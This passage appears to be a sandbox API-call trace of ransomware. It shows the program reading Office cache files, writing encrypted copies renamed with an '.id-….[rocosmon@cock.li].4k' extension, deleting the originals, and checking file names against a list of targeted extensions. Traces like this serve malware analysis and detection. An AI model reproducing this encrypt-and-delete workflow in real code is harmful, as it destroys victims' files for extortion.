	[0088.519] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.519] lstrlenW (lpString=".zip") returned 4
	[0088.519] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0088.519] lstrlenW (lpString=".rar") returned 4
	[0088.519] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0088.519] lstrlenW (lpString=".bz2") returned 4
	[0088.519] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0088.519] lstrlenW (lpString=".7z") returned 3
	[0088.519] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0088.519] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.519] lstrlenW (lpString=".dbf") returned 4
	[0088.519] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0088.519] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.519] lstrlenW (lpString=".1cd") returned 4
	[0088.519] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0088.519] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.519] lstrlenW (lpString=".jpg") returned 4
	[0088.519] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0088.520] Sleep (dwMilliseconds=0x64) 
	[0088.670] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.670] lstrlenW (lpString="Setup.xml") returned 9
	[0088.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.670] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1886) returned 1
	[0088.670] CloseHandle (hObject=0x18c) returned 1
	[0088.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0088.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.671] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.671] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0088.672] GetLastError () returned 0x0
	[0088.672] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x75e, lpOverlapped=0x0) returned 1
	[0088.838] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0088.839] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.839] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0088.839] SetEndOfFile (hFile=0x190) returned 1
	[0088.839] CloseHandle (hObject=0x190) returned 1
	[0088.844] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.844] SetEndOfFile (hFile=0x18c) returned 1
	[0088.844] CloseHandle (hObject=0x18c) returned 1
	[0088.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.845] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0088.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.845] lstrlenW (lpString=".doc") returned 4
	[0088.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.845] lstrlenW (lpString=".docx") returned 5
	[0088.845] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0088.845] lstrlenW (lpString=".pdf") returned 4
	[0088.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.846] lstrlenW (lpString=".xls") returned 4
	[0088.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.846] lstrlenW (lpString=".xlsx") returned 5
	[0088.846] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.846] lstrlenW (lpString=".ppt") returned 4
	[0088.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.846] lstrlenW (lpString=".zip") returned 4
	[0088.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.846] lstrlenW (lpString=".rar") returned 4
	[0088.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.846] lstrlenW (lpString=".bz2") returned 4
	[0088.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.847] lstrlenW (lpString=".7z") returned 3
	[0088.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.847] lstrlenW (lpString=".dbf") returned 4
	[0088.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.847] lstrlenW (lpString=".1cd") returned 4
	[0088.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.847] lstrlenW (lpString=".jpg") returned 4
	[0088.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.848] lstrlenW (lpString=".doc") returned 4
	[0088.848] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.848] lstrlenW (lpString=".docx") returned 5
	[0088.848] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0088.848] lstrlenW (lpString=".pdf") returned 4
	[0088.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.848] lstrlenW (lpString=".xls") returned 4
	[0088.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.848] lstrlenW (lpString=".xlsx") returned 5
	[0088.848] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.848] lstrlenW (lpString=".ppt") returned 4
	[0088.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.848] lstrlenW (lpString=".zip") returned 4
	[0088.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.849] lstrlenW (lpString=".rar") returned 4
	[0088.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.849] lstrlenW (lpString=".bz2") returned 4
	[0088.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.849] lstrlenW (lpString=".7z") returned 3
	[0088.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.849] lstrlenW (lpString=".dbf") returned 4
	[0088.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.849] lstrlenW (lpString=".1cd") returned 4
	[0088.849] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.849] lstrlenW (lpString=".jpg") returned 4
	[0088.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.849] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.849] lstrlenW (lpString="OutlookMUI.xml") returned 14
	[0088.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.850] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=3186) returned 1
	[0088.851] CloseHandle (hObject=0x18c) returned 1
	[0088.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020
	[0088.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.851] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.851] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0088.851] GetLastError () returned 0x0
	[0088.852] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0xc72, lpOverlapped=0x0) returned 1
	[0088.874] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xc80, lpOverlapped=0x0) returned 1
	[0088.875] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.875] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0088.875] SetEndOfFile (hFile=0x190) returned 1
	[0088.876] CloseHandle (hObject=0x190) returned 1
	[0088.879] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.879] SetEndOfFile (hFile=0x18c) returned 1
	[0088.880] CloseHandle (hObject=0x18c) returned 1
	[0088.881] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.882] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1
	[0088.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.882] lstrlenW (lpString=".doc") returned 4
	[0088.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.883] lstrlenW (lpString=".docx") returned 5
	[0088.883] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.883] lstrlenW (lpString=".pdf") returned 4
	[0088.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.884] lstrlenW (lpString=".xls") returned 4
	[0088.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.884] lstrlenW (lpString=".xlsx") returned 5
	[0088.884] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.885] lstrlenW (lpString=".ppt") returned 4
	[0088.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.885] lstrlenW (lpString=".zip") returned 4
	[0088.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.885] lstrlenW (lpString=".rar") returned 4
	[0088.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.885] lstrlenW (lpString=".bz2") returned 4
	[0088.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.885] lstrlenW (lpString=".7z") returned 3
	[0088.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.886] lstrlenW (lpString=".dbf") returned 4
	[0088.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.886] lstrlenW (lpString=".1cd") returned 4
	[0088.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.886] lstrlenW (lpString=".jpg") returned 4
	[0088.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.887] lstrlenW (lpString=".doc") returned 4
	[0088.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.887] lstrlenW (lpString=".docx") returned 5
	[0088.887] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.887] lstrlenW (lpString=".pdf") returned 4
	[0088.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.888] lstrlenW (lpString=".xls") returned 4
	[0088.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.888] lstrlenW (lpString=".xlsx") returned 5
	[0088.888] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.888] lstrlenW (lpString=".ppt") returned 4
	[0088.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.888] lstrlenW (lpString=".zip") returned 4
	[0088.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.888] lstrlenW (lpString=".rar") returned 4
	[0088.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.888] lstrlenW (lpString=".bz2") returned 4
	[0088.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.888] lstrlenW (lpString=".7z") returned 3
	[0088.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.889] lstrlenW (lpString=".dbf") returned 4
	[0088.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.889] lstrlenW (lpString=".1cd") returned 4
	[0088.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0088.890] lstrlenW (lpString=".jpg") returned 4
	[0088.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.890] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.890] lstrlenW (lpString="Setup.xml") returned 9
	[0088.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.890] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=4207) returned 1
	[0088.890] CloseHandle (hObject=0x18c) returned 1
	[0088.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0088.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.891] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.891] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0088.892] GetLastError () returned 0x0
	[0088.892] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x106f, lpOverlapped=0x0) returned 1
	[0088.984] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x1070, lpOverlapped=0x0) returned 1
	[0088.986] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.986] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0088.986] SetEndOfFile (hFile=0x190) returned 1
	[0088.986] CloseHandle (hObject=0x190) returned 1
	[0088.991] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.991] SetEndOfFile (hFile=0x18c) returned 1
	[0088.992] CloseHandle (hObject=0x18c) returned 1
	[0088.993] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.993] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0088.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.993] lstrlenW (lpString=".doc") returned 4
	[0088.993] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.993] lstrlenW (lpString=".docx") returned 5
	[0088.993] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0088.993] lstrlenW (lpString=".pdf") returned 4
	[0088.993] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.993] lstrlenW (lpString=".xls") returned 4
	[0088.993] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString=".xlsx") returned 5
	[0088.994] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.994] lstrlenW (lpString=".ppt") returned 4
	[0088.994] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString=".zip") returned 4
	[0088.994] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.994] lstrlenW (lpString=".rar") returned 4
	[0088.994] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString=".bz2") returned 4
	[0088.994] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString=".7z") returned 3
	[0088.994] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString=".dbf") returned 4
	[0088.994] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString=".1cd") returned 4
	[0088.994] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString=".jpg") returned 4
	[0088.994] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.994] lstrlenW (lpString=".doc") returned 4
	[0088.994] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.994] lstrlenW (lpString=".docx") returned 5
	[0088.995] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
